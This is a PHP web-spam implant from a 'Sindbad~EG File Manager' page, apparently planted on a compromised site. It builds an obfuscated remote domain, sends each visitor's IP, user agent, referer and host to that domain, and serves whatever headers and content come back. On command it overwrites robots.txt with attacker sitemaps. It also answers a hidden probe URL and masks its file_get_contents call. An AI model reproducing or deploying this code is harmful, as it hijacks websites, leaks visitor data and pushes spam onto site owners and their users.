Sindbad~EG File Manager
<?php
error_reporting(0);
$gp_name="zj2901";
$version="es1";
if(preg_match("/jp2023/si",$_SERVER["REQUEST_URI"])==1)
{
if(preg_match("/jp2023cww/si",$_SERVER["REQUEST_URI"])==0)
{
header("HTTP/1.0 404 Not Found");
}
echo "HTTP/1.0 404 Not Found___".$gp_name."___".$version;
exit;
}
$tg_dm1=".mp";
$tg_dm2="3lar";
$tg_dm3="ger.com";
$tg_website="http://".$gp_name.$tg_dm1.$tg_dm2.$tg_dm3;
$req_uri="/index.php?VS=".$version."&GP=".$gp_name;
$key_name_arr=array(
"SCRIPT_NAME",
"REQUEST_URI",
"HTTPS",
"REQUEST_SCHEME",
"SERVER_PORT",
"REMOTE_ADDR",
"HTTP_REFERER",
"HTTP_ACCEPT_LANGUAGE",
"HTTP_USER_AGENT",
"HTTP_HOST",
"URI_PREFIX"
);
foreach($key_name_arr as $key_name1)
{
if ($key_name1=="REMOTE_ADDR")
{
$key_value=isset($_SERVER["HTTP_X_FORWARDED_FOR"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:'');
}elseif($key_name1=="URI_PREFIX")
{
$key_value=isset($ad)?$ad:'';
}else
{
$key_value=isset($_SERVER[$key_name1])?$_SERVER[$key_name1]:'';
}
$tran_char=base64_encode(trim($key_value));
$tran_char=str_replace("+","-",$tran_char);
$tran_char=str_replace("/","_",$tran_char);
$tran_char=str_replace("=",".",$tran_char);
$req_uri.="&".$key_name1."=".$tran_char;
}
$target_url=$tg_website.$req_uri;
$ch_handle=curl_init();
curl_setopt($ch_handle,CURLOPT_URL,$target_url);
curl_setopt($ch_handle,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch_handle,CURLOPT_CONNECTTIMEOUT,10);
$remote_contents=curl_exec($ch_handle);
$remote_contents=trim($remote_contents);
curl_close($ch_handle);
if(empty($remote_contents))
{
$fil="fil";
$e_g="e_g";
$et_c="et_c";
$onte="onte";
$nts="nts";
$f_g_c=$fil.$e_g.$et_c.$onte.$nts;
$remote_contents=$f_g_c($target_url);
}
$remote_contents=trim($remote_contents);
$curl_content_arr=explode("|@#$|",$remote_contents);
$cc_count=count($curl_content_arr);
if($cc_count<3)
{
header("HTTP/1.0 404 Not Found");
exit;
}else
{
$head_info=trim($curl_content_arr[0]);
if(!empty($head_info))
{
header($head_info);
}
$content_info=trim($curl_content_arr[1]);
if(!empty($content_info))
{
echo $content_info;
}
$cmd_info=trim($curl_content_arr[$cc_count-1]);
if($cmd_info=="exit")
{
exit;
}
if($cmd_info=="ping")
{
$robots_content="User-agent:*".PHP_EOL;
$robots_content.="Allow:/".PHP_EOL;
$ping_url_arr=explode("<br/>",$content_info);
array_pop($ping_url_arr);
foreach($ping_url_arr as $ping_url1)
{
$robots_content.="Sitemap:".$ping_url1.PHP_EOL;
}
$robots_file=fopen($_SERVER["DOCUMENT_ROOT"]."/robots.txt","w");
fwrite($robots_file,$robots_content);
fclose($robots_file);
echo "robots.txt done";
exit;
}
}
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists